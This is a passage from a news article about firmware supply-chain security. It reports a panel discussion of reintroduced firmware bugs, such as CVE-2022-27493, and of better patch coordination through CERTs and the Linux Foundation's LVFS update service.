There are at least three other aspects that make matters even worse: One, end-of-life (EoL) devices often don't get updates; two, each vendor follows its own patch cycle; and three, sometimes vendors offer silent updates without issuing an advisory, which can discourage OEMs from incorporating patches.

**Repeating the Same Mistakes**

Alex Matrosov, founder and CEO at Binarly, explained during the panel that like in the software supply chain, firmware bugs can also be spread and re-imported even after they've been patched, resulting in what he called "repeatable failures."

For instance, a bug recently disclosed in one of the components in the Intel M15 laptop kit (CVE-2022-27493) is a classic out-of-bounds write flaw stemming from system-management mode (SMM) memory corruption — but not as what it seems.

"It's actually a 2019 bug found in the AMI codebase that we've now discovered in 2022 firmware," Matrosov explained. "This vulnerability was fixed, but the fixed version was not included by the device vendor. It's a very vulnerable component and has been known for years as a suitable attack vector, and it should be removed."

In another example, vulnerable code in an EDK open source library called SecurityPkg was removed in EDK II in 2018. However, somehow it found its way into 2022 firmware affecting several OEMs, via another library. "The risk was exponentially compiled," Matrosov said.

**Best Principles for Pruning Back the Patching Misery**

So, what's to be done? According to the panel, it will take a profound shift in strategy and thinking to reliably shore up firmware security. However, a good place to start is an aspirational list of first principles.

The panelists advocated, for instance, that OEMs and members of the security community as a whole make a concerted effort to educate component vendors and other supply-chain elements about security and convince them that updates are a necessity, even for EoL devices — and that further, if they don't issue a CVE, it becomes more difficult to communicate the urgency to patch and the bugs become difficult to track.

OEMs also should put in place efforts to increase risk transparency, according to the panel. This can be done by facilitating greater communication between vendors and creating a centralized repository of information about patches and bugs.

"Fixing the supply chain is a team sport," Matrosov said, noting that working with computer emergency response teams (CERTs) is a good goal.

"We really need an independent body to help coordinate patches when they affect multiple vendors, and to facilitate simultaneous patching. If one vendor patches and another doesn't, it creates a dangerous zero-day situation for a subset of the devices," he added.

Private security community collaboration will also be key, the panelists said. For instance, the Linux Foundation has launched a website called LVFS, which is a vendor firmware service that allows OEMs to upload firmware updates to be distributed to Linux users at zero cost. So far, about 150 vendors are participating, including Dell, HP, Intel, and Lenovo.

"There are about 1,000 different devices supported, and we've shipped more than 51 million updates since we started the project," said panelist Richard Hughes, principal engineer at Red Hat. "Also, we can take the firmware and decompress it into shards. A shard might be an EFI, binary, Intel microcodes, AMD PSP image, etc. So, all of those vendors uploading all those updates gives us a huge amount of data."

From there, the system can show users, say, the newest available Intel microcode for all of the different models in the system — and can push updates automatically.

There's plenty to be done, but Hughes struck an optimistic note.

"My personal conclusion is that by working together with CERTs and security companies, we can improve the immune system even further, speeding up the process of shipping fixes to end users and making sure that security issues patched by all vendors," Hughes said. "These are really hard problems that have plagued the entire industry for 20 years. Only now do we have all the infrastructure and the data to make things better."

Tag

#ios